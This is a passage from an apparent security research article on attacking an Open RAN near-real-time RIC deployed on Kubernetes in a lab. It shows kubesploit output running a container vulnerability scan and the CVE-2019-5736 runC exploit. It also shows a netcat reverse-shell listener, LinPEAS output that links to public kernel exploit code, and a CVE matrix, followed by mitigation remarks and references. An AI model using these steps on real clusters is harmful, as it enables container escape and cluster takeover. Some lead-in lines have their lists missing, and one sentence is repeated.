[*] Description: The Kubernetes kube-apiserver is vulnerable to an unvalidated redirect on proxied upgrade requests
that could allow an attacker to escalate privileges from a node compromise to a full cluster compromise.
[*] Fixed versions: 1.16.13, 1.17.9, 1.18.6
[*] Done
Using some other modules, we can also see some other opportunities and limitations to elevate our privileges:
kubesploit» use module linux/go/vulnerabilityTest
kubesploit[module][vulnerabilityTest]» run
kubesploit[module][vulnerabilityTest]»
[-] Created job NYfOTtVKFc for agent 515900ff-cc4d-4c4e-b54c-3972f7c556ba at 2022-10-21T22:13:59Z
[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job NYfOTtVKFc at 2022-10-21T22:14:04Z
========= LOGS =========
[i] The container is running with apparmor profile
[i] Start of Docker sock breakout vulnerability test
[!] The requested path:docker.sock is not mounted with the requested mount option:rw. Ending test
[i] Start of Kubelet vulnerability test
[!] Http request to kubelet failed due to the error:Get "https://127.0.0.1:10250/healthz": dial tcp 127.0.0.1:10250: connect: connection refused.Ending test
[i] Start of Mount breakout vulnerability test
[!] the container is not vulnerable to Mount breakout exploit, user doesn't have sys_admin cap
[i] Start of var log escape vulnerability test
[!] Http request to kubelet failed due to the error:Get "https://127.0.0.1:10250/logs/": dial tcp 127.0.0.1:10250: connect: connection refused.Ending test
[i] Start of CVE-2019-5736 vulnerability test
[+] The container is vulnerable to CVE-2019-5736
[i] Start of Cgroup breakout vulnerability tests
[i] No CAP_SYS_ADMIN, Check if the cgroup RDMA is read-write
[!] Cgroup RDMA is not mounted read-write. Ending test
[i] Start of Kernel module breakout vulnerability tests
[!] Could not test the vulnerability, the make doesn't exists or you cant run it
[!] Could not test the vulnerability, the insmod doesn't exists or you cant run it
========= RESULTS =========
The container is vulnerable to the following exploits:
[+] *** CVE-2019-5736, Depends if your Docker version is below 18.09.2 and runC version is below 1.0-rc6
kubesploit[module][vulnerabilityTest]»
kubesploit[module][vulnerabilityTest]» break
[i] Executing system command...
[!] exec: "break": executable file not found in $PATH
kubesploit[module][vulnerabilityTest]» back
kubesploit» use module linux/go/cve2019_5736
kubesploit[module][CVE-2019-5736]» run
kubesploit[module][CVE-2019-5736]»
[-] Created job WWBlANKNrf for agent 515900ff-cc4d-4c4e-b54c-3972f7c556ba at 2022-10-21T22:14:40Z
[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job WWBlANKNrf at 2022-10-21T22:14:52Z
[+] Overwritten /bin/sh successfully
[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job WWBlANKNrf at 2022-10-21T22:14:55Z
[*] Exploit for CVE-2019-5736 is running, try "docker exec" to the container
Using the reverse shell, we can also launch the LinPeas script to find other types of vulnerabilities. This tool quickly highlights the presence of possible CVEs:
$ nc -l -p 6666
# ./linpeas.sh
./linpeas.sh
[…]
╔══════════╣ CVEs Check
Potentially Vulnerable to CVE-2022-2588
[…]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: probable
Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-27365] linux-iscsi
Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
Exposure: less probable
Tags: RHEL=8
Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled
[…]
But also, the list mitigations and capabilities we can abuse:
[…]
╔══════════╣ Protections
═╣ AppArmor enabled? .............. /etc/apparmor.d
═╣ grsecurity present? ............ grsecurity Not Found
═╣ PaX bins present? .............. PaX Not Found
═╣ Execshield enabled? ............ Execshield Not Found
═╣ SELinux enabled? ............... sestatus Not Found
═╣ Seccomp enabled? ............... disabled
[…]
╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
═╣ Container ID ................... e2term-alpha═╣ Container Full ID .............. docker-de23ea925ab0459358e459762f94fe045c28183c3572bf7992133fb840a6977d.scope
═╣ Seccomp enabled? ............... disabled
═╣ AppArmor profile? .............. docker-default (enforce)
═╣ User proc namespace? ........... enabled
═╣ Vulnerable to CVE-2019-5021 .... No
[…]
Parent Shell capabilities:
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
[…]
Note that these tests can be enlarged by executing the agent and LinPeas script in all pods as well.
Merging all results, we can enumerate several probable CVEs depending on the host environment and Kubernetes configurations and confront them to the actual situation in our lab environment:
| CVE ID | Description | Risks | Requirements |
|---|---|---|---|
| CVE-2019-11253 | Kubernetes billion laughs attack vulnerability that allows an attacker to perform a Denial-of-Service (DoS) attack on the Kubernetes API server by uploading a maliciously crafted YAML file. | Denial of Service | Authorizations to upload a crafter YAML file on the Kubernetes API |
| CVE-2019-11254 | The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML. | Latency / Denial of Service | Authorizations to upload a crafter YAML file on the Kubernetes API |
| CVE-2020-8558 | The kubelet and kube-proxy were found to contain security issue which allows adjacent hosts to reach TCP and UDP services bound to 127.0.0.1 running on the node or in the node's network namespace. Such a service is generally thought to be reachable only by other processes on the same host, but due to this defeect, could be reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service. | Lateral movement by reaching local services in the cluster by reaching unauthenticated services | Use of kube-proxy, or net.ipv4.conf.*.route_localnet |
| CVE-2020-8559 | The Kubernetes kube-apiserver is vulnerable to an unvalidated redirect on proxied upgrade requests that could allow an attacker to escalate privileges from a node compromise to a full cluster compromise. | Execute commands on any other Container in the cluster | Kubelet process responding to /exec, /attach, /portforward, or any resource: proxy action with a HTTP 302 Redirect by exploiting the open redirect with a rogue Kubelet server during a phishing attack |
| CVE-2022-2586 | A use-after-free flaw was found in nf_tables cross-table in the net/netfilter/nf_tables_api.c function in the Linux kernel. This flaw allows a local, privileged attacker to cause a use-after-free problem at the time of table deletion, possibly leading to local privilege escalation. | Privileges escalation, container escape? | Needs CAP_NET_ADMIN capabilities |
| CVE-2021-22555 | A flaw was discovered in processing setsockopt IPT_SO_SET_REPLACE (or IP6T_SO_SET_REPLACE) for 32 bit processes on 64 bit systems. This flaw will allow local user to gain privileges or cause a DoS through user name space. This action is usually restricted to root-privileged users but can also be leveraged if the kernel is compiled with CONFIG_USER_NS and CONFIG_NET_NS and the user is granted elevated privileges. | Privilege escalation, breaking the kubernetes pod isolation | ip_tables kernel module must be loaded |
| CVE-2022-32250 | A use-after-free vulnerability was found in the Linux kernel's Netfilter subsystem in net/netfilter/nf_tables_api.c. This flaw allows a local attacker with user access to cause a privilege escalation issue. | Privilege escalation, container escape? | kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) |
| CVE-2021-27365 | An issue was discovered in the Linux kernel through 5.11.3. Certain iSCSI data structures do not have appropriate length constraints or checks, and can exceed the PAGE_SIZE value. An unprivileged user can send a Netlink message that is associated with iSCSI, and has a length up to the maximum length of a Netlink message. | Privilege escalation, container escape? | CONFIG_SLAB_FREELIST_HARDENED must not be enabled (enabled by default in Ubuntu) |
| CVE-2022-2588 | A use-after-free flaw was found in route4_change in the net/sched/cls_route.c filter implementation in the Linux kernel. This flaw allows a local user to crash the system and possibly lead to a local privilege escalation problem. | Privilege escalation, container escape | Needs CAP_NET_ADMIN capabilities |
| CVE-2022-20409 | In io_identity_cow of io_uring.c, there is a possible way to corrupt memory due to a use after free. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-238177383References: Upstream kernel | To be studied... | To be studied... |
| ... | ... |
Based on this matrix, the attacker can attempt to exploit public vulnerabilities to elevate privileges or even chain them with CVE-2022-32250 if possible, especially when CAP_NET_ADMIN capabilities are required, as in the case of exploiting a DirtyCred vector [11].
Other methods also exist, such as abusing cgroup features and sys_admin capabilities.
A successful privilege escalation from a container would enable an attacker to compromise the entire cluster, allowing them to:
Within the container, the attacker can also attempt to collect JWT tokens and replay them in other pods within the cluster.
Furthermore, certain vulnerabilities, such as CVE-2020-8559, present excellent opportunities during a phishing attack. However, attackers can also employ other social engineering techniques to steal employees' credentials or gain control of their desktops to pilfer tokens, API keys, exploit GitHub leaks, or gain access to various databases.
Whenever we manage to escape from a container, it becomes crucial to investigate the vulnerabilities present in the different interfaces. For instance, in a previous article published Trend Micro's blog [12], three bugs related to RIC Message Router parsing were identified:
In fact, in a previous article written in Trend Micro's blog [12], three bugs focusing on RIC Message Router parsing have been highlighted:
These bugs targeted the O-RAN framework's stack, and those resulting in crashes could be challenging for operators to detect in a Kubernetes context, as each pod automatically restarts. However, assuming we discover a vulnerability enabling code execution, an attacker could easily pivot to the vulnerable pod located on another host.
As we've observed, it's possible to launch an attack due to the exposure of certain interfaces, compounded by misconfiguration issues in the initial Open RAN setup.
While it's unlikely for these interfaces to be exposed if one strictly follows the installation tutorial from O-RAN [11], some interfaces may need to be exposed for management purposes, such as SSH ports or VPN setups. Additionally, using cloud services to manage clusters through tools like Kubectl may inadvertently expose clusters to the public.
To mitigate these risks, consider the following measures:
To offer an impartial view, hacking into an Open RAN infrastructure that's set up with default configurations isn't as straightforward as some media portrayals might imply. Misconfigurations and insufficient isolation can indeed increase the risk of external attacks, but it's also crucial to acknowledge that the inherent complexity of managing such infrastructures can introduce vulnerabilities that attackers could exploit. Those responsible for managing Open RAN networks might unintentionally make access points public or fall victim to spear-phishing attacks, leading to successful breaches.
Therefore, launching attacks on Open RAN systems is not necessarily easier; it's distinct from attacking traditional Core Network configurations, especially with the shift towards Next-Generation Core (NGC) infrastructure. This transition requires operators to adapt their processes, tools, and knowledge to a new paradigm that may be unfamiliar. Additionally, they face the challenge of operating legacy infrastructure in parallel with new Open RAN deployments.
The initial security stance of Open RAN systems is also influenced by the manufacturers of compliant components. Due to the complexities involved in implementing the Open RAN framework, operators might choose to purchase solutions instead of directly applying the standard.
As of this writing, it's important to note that the O-RAN stack primarily supports Ubuntu 18.04, with some components still maintaining compatibility with Ubuntu 16.04. Tools such as Kubernetes and Helm are often restricted to specific versions, but future updates are expected to enhance support for newer components to address patching challenges.
Moreover, in addition to Kubernetes, examining applications and interfaces unique to Open RAN, as well as the lower radio layer's condition, is critical. These areas, including resource orchestration—which is deemed essential in Open RAN deployments—may be explored in future discussions.
This article focuses on certain direct threats an attacker might encounter with an Open RAN respecting the same architecture proposed by O-RAN alliance [13]. But it's also pertinent to acknowledge that other O-RAN compliant products might adopt different strategies for orchestrating the different components.
[1] Open RAN – 5G hacking just got a lot more interesting by Karsten Nohl: https://program.mch2022.org/media/mch2022/submissions/8BEFCG/resources/
[2] Open RAN Risk Analysis by Stefan Köpsell et al. https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Studies/5G/5GRAN-Risk-Analysis.pdf;jsessionid=5BCDAA3DF82C293ED8887A656BEFFC79.internet472?__blob=publicationFile&v=7
[3] O-RAN Demonstrations at MWC Shanghai 2021 and O-RAN Virtual Exhibition - https://www.o-ran.org/in-the-news/o-ran-demonstrations-at-mwc-shanghai-2021-and-o-ran-virtual-exhibition
[4] O-RAN ALLIANCE Introduces 52 New Specifications Released since March 2022 - https://www.o-ran.org/blog/o-ran-alliance-introduces-52-new-specifications-released-since-march-2022
[5] Intruding 5G SA core networks from outside and inside - https://penthertz.com/blog/Intruding-5G-core-networks-from-outside-and_inside.html
[6] Bug hunting in 5G-NR devices and networks - https://www.nohat.it/2021/static/slides/5g_nr_n_core_pentest_dudek.pdf
[7] Threat vector: GTP Vulnerabilities in LTE and 5G networks 2020 - https://www.politico.eu/wp-content/uploads/2020/06/POLITICO-Positive-Technologies-report-Threat-vector-GTP-June-2020.pdf
[8] 5GC API Parser - https://portswigger.net/bappstore/bdedb48d25594922adb1a5bcc99f89c9
[9] Hacking 5G is too easy – Security Research Labs - https://www.mobileeurope.co.uk/hacking-5g-is-too-easy-security-research-labs/
[10] Open RAN so easy to hack it's 'scary,' says top security boffin - https://www.lightreading.com/security/open-ran-so-easy-to-hack-its-scary-says-top-security-boffin/d/d-id/779290
[11] Installing Near-realtime RIC - https://docs.o-ran-sc.org/projects/o-ran-sc-it-dep/en/latest/installation-ric.html
[12] Opening Critical Infrastructure: The Current State of Open RAN Security - https://www.trendmicro.com/fr_fr/research/23/l/the-current-state-of-open-ran-security.html
[13] Open Software for the RAN - https://www.o-ran.org/software